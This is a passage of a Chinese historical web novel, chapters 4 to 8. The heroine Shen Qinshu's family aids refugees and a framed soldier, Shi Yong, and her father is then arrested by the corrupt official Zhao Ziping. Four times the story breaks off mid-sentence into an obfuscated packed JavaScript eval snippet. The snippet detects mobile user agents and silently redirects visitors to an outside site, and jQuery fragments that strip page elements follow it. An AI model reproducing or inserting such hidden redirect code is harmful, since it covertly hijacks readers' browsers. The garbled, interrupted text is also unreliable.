“赵大人来得巧，这两人在这儿闹事，正想送去官府。”父亲如今不过一介乡绅，自古民不与官斗。若此时逞口舌之快，只怕会连累父亲，徒添祸患。这般念头闪过，她稳住面上神情，没有理会赵子平的冷嘲暗讽。 赵子平不满地瞥了眼被押住了两人，真是酒囊饭袋，连这点小事都办砸了。 “本官听说沈小姐施粥，特来看看。众人皆说沈小姐聪慧，本官却不见得。”他冷笑一声，目光扫过周围的流民与粥棚，“来人，把闹事的拿下。” 沈沁姝没去看那些假模假样去拿人的官差，而是抬眸直视着赵子平，神色不卑不亢，笑道：“今日一见，赵大人倒是和传闻中一般无二。听闻赵大人素来宽厚，但可别还没进县衙就放了闹事之徒。”青溪城中谁不知赵子平酷吏敛财的名声，那声加重的“宽厚”摆明就是在嘲讽赵子平。 “哼！伶牙俐齿。”赵子平自然不好当众承认是自己派人闹事，只狠狠剜了她一眼，带着人离开了。 沈沁姝一早便发现方才帮她的那个汉子不见了，她当时观察到那人身手利落，为人也算机智，不像是普通流民。若是身家清白，倒也可以招为护院。 可偏偏那人却在见到赵子平时偷偷溜走了。 沈沁姝垂眸沉思片刻，心中已然有了思量。 若是平日，她断不愿多惹是非，但不知为何此时她想到了在父亲房中看见的那封信。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17494607|202417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想到这儿，她侧首对一旁的周管家吩咐道：“今日施粥便到这里，向乡亲们暂借的碗瓢，都仔细清点好了，洗干净后一一送还。明日备足新碗，莫要再劳烦乡亲们了。” “是，小姐。”周管家应下退下，即刻安排人手处理后续事宜。 春儿扶着沈沁姝往马车走去，刚走两步，便听自家小姐轻声开口：“方才那人，你可看清了模样？” 春儿记人向来厉害，她虽不知自家小姐为何突然提起此人，却还是点头应下，看着沈沁姝，等着她吩咐。 “等回宅后，你去找老刘，把那人身形样貌、衣着特征细细说与他听，让他去查，看看能不能找到此人。” “是，小姐。” 沈沁姝回宅后，先去书房拜见了父亲，将今日赵子平派人闹事的始末细细禀明。 沈敬之闻言，只淡淡道：“我早料到他会来使绊子，只是为父已言明县令，他不敢太过明目张胆。只要没闹出大事，便权当不知，不必与他计较。” 沈沁姝应下。 随后她又去内院探望了母亲，施粥本就耗了些许时辰，母女两没说上几句，便到了晚饭时分。 饭桌上，周管家进来回话：“老爷夫人，小姐。乡亲们暂借的碗瓢，小姐、老爷，乡亲们暂借的碗瓢，都已尽数清点送还，各家也都添了些铜板，聊表谢意。” 顿了顿，他又报了几个名字，续道：“方才杨县令家的有福，还有这几位乡绅，都派人送了碗瓢和粮食过来，是否要记下名帖，备礼回赠？” 沈敬之抬眸，沉吟片刻，才道：“从后门来的？” “是。” 沈沁姝坐在一旁听着，心中也在思量，这些人分明是不愿暴露身份。 虽说施粥是善事，可眼下是非常时期，虽暂未爆发流民暴动，可谁也难保几日之内不会生变。到那时，牵头施粥的人，必然要担起责任。 这些乡绅皆是人精，她能想到的利害，他们又怎会不知。 “沁姝，你觉得呢？”沈敬之把问题抛给了沈沁姝。 5. 第五章 沈沁姝将自己想好的话，理了理思路，这才道：“女儿觉得不必回礼。几位大人既不愿暴露身份，那些碗瓢也没有还回去的必要。”他们这般行事，想必也是看不过如今流民流离之苦，只是先前谁都不愿意当这个出头鸟，惹得一身是非，如今见沈家做了这事，便顺势托了我们的手。 对此，沈沁姝也无甚苛责。趋利避害本是人之常情，可乱世之中，有些事情总是要有人来做的。 “是。”周管家恭声应下，“那小的这便将那些物件入库，记在今日采买项下。” 沈敬之颔首，周管家这才躬身告退了。 一旁静坐着的林婉清，不知为何心头隐隐掠过一丝不安，可看着丈夫和女儿是在做为民奔走的善事，便将这莫名的忐忑按了下去。 入夜，沈沁姝正就着烛光翻看书卷，春儿走了进来：“小姐，老刘回来了，说没找着那人。” “嗯？”沈沁姝挑眉，心中的猜想愈发明晰，“那些流民大多都是一个村逃难来的，老刘没去问问吗？” “老刘仔细问过了。那人叫刘勇，说是中途加入的，村里人见他年轻力壮，想着逃难路上老弱妇孺多需照拂，这村人便留下了他。再往下打听，只知他原是猎户，逃难路上遇到山贼，家里人尽数遇害，唯有他运气好，被打晕后，那些山贼以为他死了，便扔下他跑了，这才捡回一条命。” 猎户虽说也身手利落，可那日沈沁姝见他颇有章法，不像乡间莽夫的蛮力，倒像是军中常年操练出的身手。 “罢了，他既是流民，明日施粥自然会来。”沈沁姝道，将手中书卷轻轻合上。 “是。”春儿接过书，妥帖放回书架上，又端来温水伺候给沈沁姝洗漱完完毕，吹熄了烛火，这才轻手轻脚退到外间小榻上歇下。 接下来两日施粥，沈沁姝都未见到张勇，赵子平亦无动静，她便将此事暂且搁下，未放在心上。 这日沈敬之又唤她去书房。 “父亲。”书房门扉紧闭，门外无人伺候，沈沁姝猜应当是前线战事又有了新的消息。 “进。” 沈敬之站在案前，神情凝重，没有过多的寒暄，便沉声开口道：“仲节又有信至，这烽烟四起，信件怕是晚到了几日，消息灵通者怕早已知晓。我们应与官府消息相去不远，用不了多久，朝廷也该颁下旨意。不过还有一事，你且看看吧。” 说完，将信递给了沈沁姝。 沈沁姝接过，速速扫过。 只见信中写道： “北境战事急转直下，前线连战连败，三城接连陷落，守军溃不成军，将军已然暗中遣使，决意与敌求和。 前几日军中还传，押运的军饷即日便至，前线将士皆盼粮饷续命撑战，可左等右等，饷银迟迟未到，军心彻底溃散，终是落得溃败收场。 方才驿站快马传信，方知那支押运军饷的队伍，早已在半路全数被杀，饷银被劫一空。清点尸首，独独少了押运队长百户石勇。如今上头已然定下结论，定性为百户石勇勾结落草流民劫掠军饷，下令地方速速缉拿，此事便草草结案。 弟身处军中，看得透彻，此绝非石百户所为，分明是有人蓄意延误押送，吞了饷银，又害死押运全队性命。石百户乃愚弟好友，断不可做出背德之事，只是其尸首无踪，定还存活，如若兄长在青溪偶遇此人，还望多加照拂，伸手帮衬一二。 乱世将至，青溪虽偏居南方，也需早做防备，少涉官场是非，保全家人为上。 军务匆忙寥寥数语，余事后续再叙。” 信封中还夹着一幅画像，想来便是石勇的画像。沈沁姝抬眼望向父亲，沈敬之点头默许，她这才将画像展开。 “嗯？”沈沁姝些惊讶，此人正是那日帮她的那名汉子。 沈敬之见她神情异样，眼中掠过一丝惊异，开口问道：“你见过此人？”青溪不过小县，苏景恒写信告知他此事，多半也只是想碰碰运气，竟没想到自家女儿真与此人有过交集。 沈沁姝将那日的事情与父亲说了一遍，并提及她让老刘去打探此人，得知此人化名张勇，混在流民之中。 沈敬之听完也十分惊讶。那日的事情，周管家事后有禀告他，他只当是赵子平派人闹事，恰巧有人出手相助，竟没料到那么巧。而自家女儿有如此敏锐的直觉，察觉此人与流民的不同，对此他也是暗自赞许。 “石百户出手帮你，想必是听仲节提过为父，只是如今迟迟不肯现身，定是对我还有些疑虑。如今他身负逃兵之名，行事谨慎并无不妥。此事你不必再管，若他主动寻你，便带他来见为父便可。他是被冤，又是景恒的好友，我虽帮不了太多，但送他出青溪，前往深山隐姓埋名，总好过被官府拿获。” “只是军饷一事，待朝廷通缉令下来，他便不仅仅是逃兵了吧。”沈沁姝蹙眉道，“区区一个百户，带着流民又怎有本事劫杀全副武装的军饷护卫百人的队伍？朝廷竟这样草草定罪？”她虽早已知晓官场黑暗，但此刻仍愤愤不平。 “这不过是官场惯用的伎俩。有人贪了军饷，便找替罪羊，如今消失的石百户和流民便是最好的替罪羊。只是这般定性下来，我们怕是不能再施粥了。朝廷若将此事定为流民暴动，怕是会株连所有流民，下令各地清算剿匪。到时候便是杨县令也做不了这个主。我们若继续施粥轻则被扣上私通流民的罪名，重则会被指为意图谋反。” “可是……”沈沁姝张了张嘴，却无言以对。 “为父意已决，不必再提了。”沈敬之又怎会不知沈沁姝心有不甘，他又取出一封信，“这是你母亲娘家寄来的回信。” 沈沁姝接过。 信中写道： “烽火连年，北境日蹙，兵疲于外，赋困于内，大局已是堪忧。 朝廷但知催征，不整军实，军中克扣成风，粮饷每到前线十不存三四。此非一城一地之失，乃根本动摇之象。乱世将至，非一二官吏可挽。 青溪地非冲要，但早晚受到波及。婿宜静以自保，慎涉公门纷争，多积粮粟，早为家人计。 若日后局势不可为，可遣人东来，吾族不预兵事，庇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17494608|202417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一两家骨肉尚可。 余不一一，惟愿珍重。” 沈沁姝知道父亲给她看这个的用意，乱世当头，为家人计，如今的局势已经不能再有善心了。 她折好信，垂首应道：“女儿明白了。” 沈沁姝退出书房，春儿在院外候着，见她出来，连忙迎了上来：“小姐，老刘说今日施粥结束后，察觉有人在跟踪小姐。他偷偷跟了上去，发现就是您先前要找的那个人。” 春儿不知小姐为何找此人，但觉得他行迹不定，还暗自跟踪小姐，看起来就不是什么好人，便有些不满道：“此人跟踪小姐，绝非君子所为。” “无妨。”沈沁姝并未多做解释，只淡淡道：“明日开始便不再施粥，他日日观察，定会知晓。让老刘多留意着，此人若肯露脸，不用带人见我，直接带他去见父亲便可。” “可是此人躲躲藏藏，连施粥都不愿露脸，分明是不愿让人知晓，他会愿意去见老爷吗？” “他会愿意的。” 春儿见沈沁姝只是笑了笑，便也不多问，只应下了。 次日，沈家停了施粥，沈沁姝不忍见流民饥寒，索性闭门不出，在家中看了一日书。入夜，她问春儿可有石勇的消息，得知老刘并未见着此人。 又过一日，天刚蒙蒙亮，沈沁姝便依着规矩，去母亲房中问安。林婉清难得没有卧在床上，而是坐在房中看家中账册，气色看着也舒展了许多。 见沈沁姝进来，她一边算着账，一边笑道：“来年三月初九，便是你及笄的日子。如今虽战乱不断，可这日子娘定要好好给你操办。只是及笄之后，便要思量你的婚事了。”说罢，眉宇间浮起几分愁绪。 沈沁姝温声宽慰了几句，又陪着闲话片刻，好半天才退了出来。 刚至廊下，春儿便快步迎了上来，压低声音道：“小姐，老刘方才领着一个蒙面人，从后门一路去了书房。那人竟真去见了老爷。” 沈沁姝神色微动，心中了然。此人也算是谨慎，昨日定是又观察了一日，见沈家停了施粥，便知时局生变，今日便有些急了，趁着天未大亮，偷偷来了沈家。 她调转步伐，径直往书房方向走去，却在院门口顿住了脚步。 远远望去，书房门扉紧闭，窗纸透着微光，想来父亲正在与他谈论。沈沁姝驻足片刻，终究转身，淡淡吩咐春儿：“去叫老刘来，我去药铺给母亲抓些安神的药。” 见了老刘，沈沁姝细问详情，果然与她所料不差。那人天不亮便在沈家外徘徊，虽蒙着面，但老刘一出门便认出他来。老刘迎上前去，那人还犹豫着想跑，老刘当即喝了声“张勇”，他才停了脚步。老刘又道自家老爷要见他，待他问明老爷便是前县丞沈敬之，这才跟他进来了。 他刚将人领进门，周管家便来了。随后周管家将人送去书房，说老爷早已在等候。老刘便止步于廊下，未再跟进，后续之事，他一概不知。 沈沁姝点了点头，没有再多问，只吩咐他此事不可让旁人知晓。随后径直去药店抓了些药，便回宅了。 6. 第六章 回宅后，石勇已然离去。沈沁姝见父亲不愿与她多提此事，便识趣地没有多问。 又过三日，眼看便要入冬，气温骤降。 沈沁姝念及城外和街上流民无衣无食，难以过冬，不忍出门见那惨状。于是这些日子，自给父母请安后，便终日窝在房中看书。 可圣贤书读来只觉空泛，于眼前困局毫无用处，徒增烦恼。她皱着眉将书卷搁下，转而取了兵书来看。 正翻看着，春儿轻步掀帘入内，屈膝禀道：“小姐，老爷请您去书房一趟。” “嗯？”沈沁姝微愣，今日清晨父亲正好在母亲房中闲话，她与两人请安后，才离开不过片刻，父亲怎会突然唤她？ 她抬眼问道：“老刘今日可出门采买了？” 春儿垂首回道：“回小姐，老刘卯时便出门了。婢子瞧见小姐往正院请安时，老刘正好采买归宅，紧接着就匆匆去找了外院找周管家。” 沈沁姝心头一沉，看来是官府贴告示了。她点点头，放下书，对春儿道：“你不必跟着了，去母亲那儿候着吧。” “是。”春儿应声退下。 到了书房，沈沁姝福身向沈敬之行过礼，侍立一旁，开口问道：“父亲唤女儿来，可是城中出了告示？” “正是。北境已然停战，朝廷遣使求和。”沈敬之默了默，脸色沉郁，“除此之外，还有剿匪的告示和石百户的通缉令。老刘今日采买时，见街市上空空荡荡，城中流民已尽数被驱赶出城。赵子平素来急功近利，想来这几日他都在驱赶流民。” “只是，要说邀功……”沈敬之话到嘴边又顿住，眉宇间笼着不安。 沈沁姝垂首，轻声道：“父亲是担心石百户一事。” “嗯，但愿是为父多虑了。” 话虽如此，沈沁姝心中亦十分不安。父亲行事素来周全，知晓此事之人也寥寥无几，府中之人也都是亲信，父亲也已都打点好了，因此她倒不怕父亲帮石百户出城一事败露。 可就怕有心人发难。 那些日子，流民与石勇一同逃难来青溪，如今通缉令贴满全城，难保有人去官府告发石勇。 而赵子平沈家积怨已久，那日石勇出现在粥棚、出手帮沈家毁了他的计划，拦了他的人，周遭看在眼里的人不在少数。他若存心构陷，只消一口咬定沈家施粥是假，私通匪首是真，再拉上张家兄弟做伪证，沈家便是百口莫辩。 欲加之罪，何患无辞，偏偏这一次，竟被赵子平误打误撞，抓了个似是而非的把柄。虽说父亲做好了准备，可真要闹上公堂，层层盘查下来，倒也麻烦，没准真…… 沈敬之见她神情愈发慌张，连忙温声宽慰道：“石百户出手帮沈家时，我们便已经躲不过了。赵子平若诚心陷害，纵使为父那日不出手相助，他也寻得出别的由头。再者，石百户那日之前尚不知会被通缉，他怎会料到军饷被贪、自己会成替罪羊？他出手帮我们也是好意。此事只看赵子平……”会不会大做文章了。 沈敬之没有说完，他太了解赵子平了。他与赵子平旧怨颇深，如今若拿“勾结流民、意图谋逆”说事，必定能让他锒铛入狱。但定刑并非县尉一人说了算，需层层上报验明正身。赵子平虽恨他，可他好歹也是沈家人，是林氏的女婿，若最终查无实据，赵子平反要担责。 故而赵子平不敢将案子闹大，他最多是严刑逼供，公报私仇，泄一时之愤，就会放了他。 但赵子平不知道的是，沈敬之确与石勇相识，这等私放朝廷重犯的干系若是被查出，便是百口莫辩，所以沈敬之不敢让他细查。 若是赵子平抓他，他也只能忍下这哑巴亏，等赵子平泄了私愤，他自然会被放出来。 “此事切不可让你母亲知晓，徒增她的担忧。”沈敬之叹了口气，“若真有不测，你便将沈家半数身家交给赵子平，为父定能平安归来。” “是。”沈沁姝虽满心无奈，却也知眼下别无他法，只能寄希望于近来事多，赵子平未必敢公然构陷。可转念一想，但赵子平那样的人…… “老爷！老爷！” 周管家的呼喊声从院外传来。 书房门关着，这是有要事商谈，若不是紧急情况，周管家不会跑进院里打搅他们父女二人。 两人对视一眼，沈沁姝眼中闪过慌乱和惧色，沈敬之却只在最初面上露出几分了然，随后便收敛了神情，冷静地打开了书房门。 路过沈沁姝身边时，他轻声叮嘱道：“去寻你母亲。她素来体弱，受不得这般惊吓。赵子平抓我进去，断不可能即刻放我，你且等上三日，再筹钱去赎我便是。”默了默，他还是再叮嘱了一句，“别让你母亲太忧心。” 说罢，沈敬之理了理衣袍，沉声道：“走吧。”随即大步走了出去。 周管家担忧地瞥了沈沁姝一眼，连忙跟了上去。 沈沁姝立在原地，望着父亲决绝的背影，抬手拭去眼角的泪，勉强整理好表情，才往后院寻母亲。她绝不能露半分怯意，不能让母亲担心。 另一边，赵子平带着一众衙役围了沈宅，未通报便直闯而入。 林婉清虽在后院，但也清晰听见了前院的喧嚣，她心中不安，刚踏出房门，便撞见匆匆赶来通报的张妈。 “夫人！不好了！前院被赵县尉带人围了，说老爷勾结反贼、意图谋逆！” 闻言，林婉清只觉眼前一黑，头脑发晕，险些要晕过去，张妈连忙上前扶住她，急声叫道：“夫人！” 沈沁姝从书房跑到东屋，正见林婉清摇摇欲坠，她连忙跑上前去，从另一侧扶住她：“娘，别担心，爹不会有事的。欲加之罪，何患无辞，爹一定会平安回来的，会没事的……” 饶是素来能言善道的沈沁姝，此刻也只觉词穷，翻来覆去只剩这一句话，不知是在宽慰母亲，还是在宽慰自己。 林婉清抬手按了按发晕的额头，拖着发软的腿，便要向前院赶去：“我去看看你父亲。” “女儿扶您。”沈沁姝只觉母亲和自己的身体都在发抖，她鼻尖泛酸，声音有些哽咽。 但想到父亲走前叮嘱她的话，母亲向来体弱，绝受不得这般打击，家中又无兄弟姊妹，她不能慌乱。 念及此，沈沁姝尽量稳住发颤的身子，搀扶着脚步虚浮的林婉清，赶往前院。 待她们到前院时，沈敬之早被押走，只有赵子平还立在厅中。 前厅一片凌乱，地上碎了好几个瓷瓶。沈沁姝瞥见一个衙役正趁乱将顺手牵羊，那人她瞧着眼熟，看着像是那日驱赶流民的赵差役。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17494609|202417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林婉清一见这狼藉景象，脚下一软险些跌倒，沈沁姝和张妈一左一右扶住了她。 林婉清深吸一口气，强稳心神，声音虽有些发抖，却依旧端着主母的仪态，开口质问道：“赵大人，这是何意？” 赵子平径自坐在前厅的主位上，抬眼扫了她一眼，随即拿起桌上的茶盏，掀开盖子瞥了眼茶汤，面上露出几分慊恶，又重重盖了回去，这才慢悠悠道：“沈夫人，许久未见。” “我家老爷辞官后安分守己，从未干过什么谋逆之事，赵大人这般登门拿人，可有真凭实据？” 多年来，林婉清因体弱，又随沈敬之迁居青溪，甚少理事，可她好歹也曾是世家小姐，如今已掩下面上的慌乱，颇有几分气势。 “哼，石勇勾结流民劫掠饷银，害北境将士士气大减，罪大恶极！”赵子平冷笑一声，“有人可看见沈家施粥时，石勇现身粥棚。看见本官后，竟躲躲藏藏，不敢现身。而沈家无故施粥，不过几日又停了施粥，难道不是见了石勇、目的达成，便不愿再假模假样发那所谓的善心？不然今日才张贴停战布告，沈家怎会在五日前就突然停了施粥？这边是铁证！” 话音落，赵子平拂袖，将案上茶盏狠狠扫落在地。 林婉清已被气的说不出话，她不认识石勇，认为这是赵子平的陷害。她清楚自家相公与赵子平素来有私怨，可民不与官斗，她纵有万般不满，此刻也不可当众破口大骂，不然到时候受苦的还是沈敬之。 沈沁姝亦是满腔愤懑，除此之外，她心中还有些无力。当初父亲决定停止施粥，本就是怕布告一出，赵子平借机生事。如今看来，从施粥那一日起，这场麻烦便早已躲不掉了。 他们最开始便知晓施粥会担上干系，但那时并不知道石勇的存在。真是一着不慎，满盘皆输。想着沈沁姝心中满是哀伤，忍不住暗自思忖：是不是从一开始，便是自己做错了。 “罢了，女流之辈，哪懂这些朝廷法度，还不速速退开。再敢妨碍公务，小心本官不客气！”说着便从凳子上起身，拂袖走了两步。 沈沁姝看不惯他这副嚣张作态，冷笑道：“赵大人好大的官威！此事说到底，不过是赵大人的臆测罢了。我父亲一生行得正、坐得端，小女子只恐赵大人臆测失实，错拿了无辜之人。” 说着，她目光一转，对一旁想要顺手牵羊的官差喝道：“父亲乃是前县丞，如今在青溪亦是有头有脸的乡绅。赵大人此来，不过是传我父亲问话，尚未定案。尔等竟敢擅闯民宅，损毁器物、私藏财物，当真是目无法纪的狂徒！今日你们动的每一样东西，来日定要上禀县令，讨一个说法！ 骂罢，她又看向赵子平：“赵大人素来以治理严明自居，青溪承您治理多年从未生乱，但手下怎会养出这般不知规矩的恶奴？小女子猜想青溪官府的规矩，定不是纵容差役趁火打劫、颠倒黑白。所谓上梁不正下梁歪，这等不正之风，应是赵差役家风不整导致的吧。” “哼！”闻言，赵子平狠狠瞪了她一眼，心里暗骂这丫头牙尖嘴利，冷声道：“事情如何，本官自会查清。你一个闺阁小姐，也敢对官府公务指手画脚，我倒是看清了沈家的家教。至于你父亲清不清白，日后定有公论！我们走！” 说罢，赵子平带着人乌泱泱的走了。 7. 第七章 等赵子平一行人走后，林婉清这才脱了力般，跌坐在了椅子上。 沈沁姝上前，声音带着些轻颤，想要宽慰她：“娘……” 林婉清深吸一口气，眼眶不受控制地泛红，强压着喉间的哽咽，尽量不在女儿面前示弱，道：“我没事。到底出了何事？” 沈沁姝转头看向周管家，周管家立刻会意，带着前厅里所有下人悄声退了出去，反手闭上了门。 沈沁姝屈膝蹲在林婉清膝边，将父亲的打算和盘托出，但隐去了他们怀疑赵子平会公报私仇的细节。她扯出一抹极淡的笑，轻声道：“爹不会有事的。” 林婉清扶着额，低头看向女儿。她自然知晓她是怕自己担心，所以刻意隐瞒了一些事情。 但她作为妻子，赵子平与丈夫的矛盾，她又怎会不知？往日沈敬之甚少与她提及官场是非，可从他偶尔的只言片语里，她也能猜出赵子平是何等睚眦必报的性子。 她轻轻叹了一声，声音里带着几分疲惫：“自你展露才学，你父亲便常与你谈论这些事情，我也就管的少了些。但我不是什么都不懂的。赵子平此人定不会放过你父亲，他怕是要受些皮肉之苦。”说到这儿，她声音几不可闻地哽咽，轻咳一声才稳住情绪，又道，“而你父亲不是任人拿捏的性子，若真是无凭无据的诬陷，他绝不会直接跟赵子平走的。说吧，你们还瞒了我什么？” 看着林婉清洞明一切的眼神，沈沁姝微微移开了视线，低声将石勇一事告知了她。说完后，她的声音满是悔意，又道：“是女儿的错，若我当初不去管那些流民，父亲也不会开仓放粮……” 话音未落，一只有些发凉的手抚上了她的脸，轻轻抬起她埋低的脸。沈沁姝停了下来，对上母亲含泪但温柔的目光。 林婉清心疼地看着沈沁姝，她从不知晓女儿心里是这样想的。她伸手轻轻抹去沈沁姝眼角的泪，温柔道：“这不是你的错，姝儿。自幼你父亲便教你读圣贤书，‘民惟邦本，本固邦宁’的道理，他比谁都懂。就算没有你，那日他也绝不会坐视流民受苦。而且那日你提出此事，你父亲私下与我提起时，还说你有恻隐之心，是仁之端也，对你颇为赞赏。该对此感到愧疚的人不是你，是那些读了一辈子书，却见死不救还落井下石之人。” 说完，她将沈沁姝拥入怀中，一下一下拍着她的背，放缓了语气：“石勇此人也是出于好心，这都是我们沈家的劫难。事已至此，既来之，则安之，便以你父亲说的做吧。等会我让周管家备些寻常的点心绸缎，给杨夫人递帖子，看看能不能见着杨县令。” 沈沁姝刚想说要陪她去，林婉清便说道：“我与杨夫人平日里交情不深，带着你去实为不妥，反而惹人生疑。等会儿我让周管家将账册给你送去，你留在家中，细细核对府中账目，清点田产铺面，看看有多少现银，有哪些物件需要典当变卖的。赵子平此人不好对付，这些事还得早早准备。” “好。”沈沁姝便没有执意要跟着，垂眸点头应下。 林婉清带着张妈出门后，周管家便亲自带着人，将用油布包好的账册送到了内院，再由春儿搬到了沈沁姝房中。 “小姐，所有的账册都在这儿了。”周管家站在门口道。 “你先下去吧，我先看看，等会儿有需要还得劳烦周管家。”沈沁姝道。 周管家应声退下，春儿看了她一眼，也跟着退了出去。 “春儿，等会母亲回来，你即刻跟我说。”沈沁姝叫住了她，吩咐道。 “是，小姐。” 闻言，春儿福身应道，随后替她关上了门。 待人走后，沈沁姝细细算着家里的用度。这些天施粥家中耗费了些银子，家中虽有几处田产山场和铺面，却都不在繁华地带，进项有限。府中人员虽算少，但也有护院十人、丫鬟杂役五人、门房一人、厨娘两人，再加上周管家、春儿、老刘、张妈这些心腹，算下来也有二十余口人，每月开销着实不小。 如今现银肯定不够，她要私下赎父亲，地契又绝不可直接给赵子平，只能先去典当。眼下家中人员也该裁减，一来人多口杂难免出错，说难听些她如今就是贿赂赵子平，切不可让很多人知晓；二来也好减少开支，凑银子救人。 想着，沈沁姝翻出舆图，开始看铺面的位置，估算大概能典换多少银子。 还没算上几笔，门外便传来春儿的敲门声：“小姐，夫人回来了。” 沈沁姝微微皱眉，如今离母亲离家不到半个时辰。单是从沈家到县衙后宅再折返，便需要小半个时辰，这般早回，多半是递的帖子被拒了。想到这儿，沈沁姝心中一沉，立刻起身拉开了房门，对春儿道：“夫人现在在哪儿？” “婢子来寻小姐时，刚见马车到了宅门口，这会儿……婢子这就去问问。”春儿也摸不准情况，她一看马车到了门口，便先来找沈沁姝了。 沈沁姝强压下心慌，对她安抚地笑了笑：“不必了，我和你一同去。” 沈沁姝理了理衣襟，想了想，快步往了前厅去了。 刚过了穿堂，便撞见了迎上来的周管家。 周管家看见她，连忙上前，躬身回话：“小姐，夫人在前厅等您。” 沈沁姝点头表示自己知道了，脚步未停，径直往前厅赶去。 还未进到前厅，沈沁姝便看见林婉清坐在凳子上，神情恹恹带着几分悲戚，一旁的张妈正俯身低声对她说着什么。 沈沁姝跨进前厅，林婉清听见动静，抬头看向她，接着对张妈道：“你先下去吧。” “是”张妈福身应道，又示意沈沁姝身后的春儿跟着她退了出去。 “门房退了名帖，说杨夫人身体不适，一概不见外客。”林婉清苦笑道，“当初流民众多，若真闹起来，城中民心不稳，你父亲提出此事算是让他享了政绩，但同时也会担责。县令就是怕有一天会如此吧，而你父亲也料到会如此，知晓只有私下见杨县令才能促成此事。之后，杨大人果然未留下书面凭据，只口头默许。如今赵子平扣的是谋逆之罪，杨县令要避嫌，也是常理。” 未等沈沁姝开口，林婉清已将悲伤的神情收了起来，她没有看女儿，只扯出一抹极淡的笑：“不过你也不必太担心，你父亲什么都能料到，他既说了无事，定会无事的。” 沈沁姝看她强颜欢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17494610|202417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑的样子，心里也不好受。她上去握住母亲的手，指尖微微发力，安慰道：“娘说得是，父亲既说了无事，定会没事的。”说着，她压下心头的酸涩，顺势提起方才核对的的帐目，将府里的现银、田产铺面的进项，还有要精简开支、准备典当的打算，一一说给了林婉清听。 “既如此，让周管家来见我。” 沈沁姝应下，出门叫张妈去请周管家。不多时，周管家到了，他躬了躬：“夫人，小姐。” “你将雇来的佣人和护院都叫来，给想走的人都结清工钱，发足遣散费。”林婉晴声音带着些许疲惫，又道，“至于签了卖身契的家奴，把契书还给他们，让他们自己选，要走还是要留。要走的同样也结清工钱和遣散费；愿意留下的，就继续发月钱，卖身契也一并给他们，从此便是自由身了。如今老爷的事情，他们怕是也都知道了，我不愿连累他们。” 林婉清顿了顿，看向周管家：“你、张妈、春儿和老刘也是如此，若你们若是想走，我绝不拦着。” “夫人说笑了，小的不会走。小的相信老爷定会平安无事。”周管家低头应下。 周管家走出前厅，随后召集了家中所有下人。 奴仆们交头接耳，都纷纷有了猜测。 周管家轻咳一声，将林婉清的决定说了出来。 下人们闻言，全都愣住了，互相看了几眼。寻常人家出事，哪有这般仁厚的？为了筹钱，大多会将家奴转卖给人牙子，哪有给家奴遣散费，还卖身契一并归还，给他们自由身的？便是遣散雇来的佣人，也只结当月的工钱，哪还会发足遣散费。 周管家自然也知晓他们的心思，虽然他是沈敬之到青溪才雇来的管家，但朝夕相处他知晓自家主子的性子。 他看向众人，沉声道：“夫人的意思说得明白，愿意走的，来我这儿领了工钱、遣散费和卖身契，便可自寻生路；愿意留下的，家中依旧待你们如旧。” 过了一会，一个杂役上前领了工钱，对周管家微微作揖，周管家看着他，微微点了点头。 那杂役对着前厅的方向，恭恭敬敬地深深躬了躬身，道：“多谢夫人小姐，小的家中还有妻小。沈老爷吉人天相，定会平安归来。”说完也不敢多留，转身快步离开了。 前厅中，林婉清看着沈沁姝，轻声道：“我们若出去，他们难免会拘谨害怕，便在这儿听着吧。” 沈沁姝颔首。 接着，更多的雇来的佣人上前领了工钱，也有零零散散几个有卖身契的家奴也上前领了卖身契和遣散费，叩谢离开了。 约莫过了一刻钟，外面的动静渐渐小了，终于安静下来。 随后周管家走了进来，对两人躬身回话：“夫人，小姐，都安排妥当了。现有护院四人，丫鬟杂役各一人，门房一人，厨娘们都离开了。春儿、老刘、张妈都留下了。” 话音刚落，张妈也走了进来：“夫人小姐，老身和春儿都会些厨艺，眼下厨娘都走了，未时已过，就让我们来准备午膳吧。” 林婉清点点头，温声道：“劳烦了。” “夫人客气了。”几人齐齐福身应道。 8. 第八章 